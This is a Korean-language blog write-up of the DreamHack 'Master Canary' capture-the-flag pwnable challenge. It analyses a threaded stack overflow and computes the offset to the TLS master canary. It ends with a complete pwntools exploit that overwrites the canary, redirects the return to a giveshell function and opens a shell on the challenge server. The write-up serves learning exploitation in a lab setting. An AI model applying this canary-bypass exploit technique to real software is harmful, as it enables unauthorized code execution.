본문 바로가기

CTF/Pwnable

[DreamHack] Master Canary Write-up

보호기법

 

c코드를 분석해보자

  • pthread_create 함수를 통해 스레드를 생성하여 thread_routine을 실행
  • pthread_create 함수에서는 size에 8을 곱한 만큼 256바이트 버퍼에 값을 입력할 수 있으므로 스택 버퍼 오버플로우 발생

 

 

 

read_bytes 함수로 [rbp-0x110] 위치에 입력받음 

 

브레이크포인트 걸어서 학인한 rbp-0x110 주소가 스택 버퍼 주소

fs_base+0x28로 마스터 카나리가 위치한 주소를 알아낸 후 스택버퍼주소와 빼서 둘 사이의 간격을 알아내자

0x928

 

마스터카나리변조시도해보자 

스택 버퍼 주소와 마스터 카나리의 간격이 0x928 바이트이므로, 0x928 바이트 패딩과 임의의 8 바이트 값을 입력하면 마스터 카나리를 원하는 값으로 조작할 수 있음

 

그리고 리턴 주소를 giveshell로 조작하면 됨 

 

그러나 SIGEGV빌생 .. 

rax에 fs:0x10의 값을 담아서 [rax+0x972] 주소에 값을 쓰려했는데, 유효하지 않은 메모리 주소로 인해 SIGSEGV 발생 

=> fs:0x10 위치의 8바이트에 유효한 주소값을 넣어주자 

=> 0x404000-0x405000 영역을 사용가능

 

익스플로잇 작성

from pwn import *

p = remote("host3.dreamhack.games",11060)
e= ELF('./mc_thread')

giveshell = 0x401256
valid_addr = 0x404f80-0x972 # valid address for fs:0x10 + 0x972

payload = b'A'*0x108 + b'CANARY!!' # buf + DUMMY 8B + Canary
payload += b'B'*0x8 + p64(giveshell) 
payload += p64(valid_addr) * 257
payload += b'CANARY!!'
payload += b'AAAAAAAA' * 75 # 71-92 에서 exploit 됨
bufsize = len(payload)//8

p.sendlineafter("Size: ", str(bufsize))
p.sendafter("Data: ", payload)
p.interactive()

 

 

 

'CTF > Pwnable' 카테고리의 다른 글

[DreamHack] binary_fix_tool Write-up  (0) 2024.03.24
[DreamHack] cpp_type_confusion Write-up  (0) 2024.03.24
[DreamHack] Bypass SECCOMP-1 Write-up  (0) 2024.03.23
[DreamHack] rop Write-up  (0) 2024.03.16
[DreamHack] ssp_001 Write-up  (0) 2024.03.10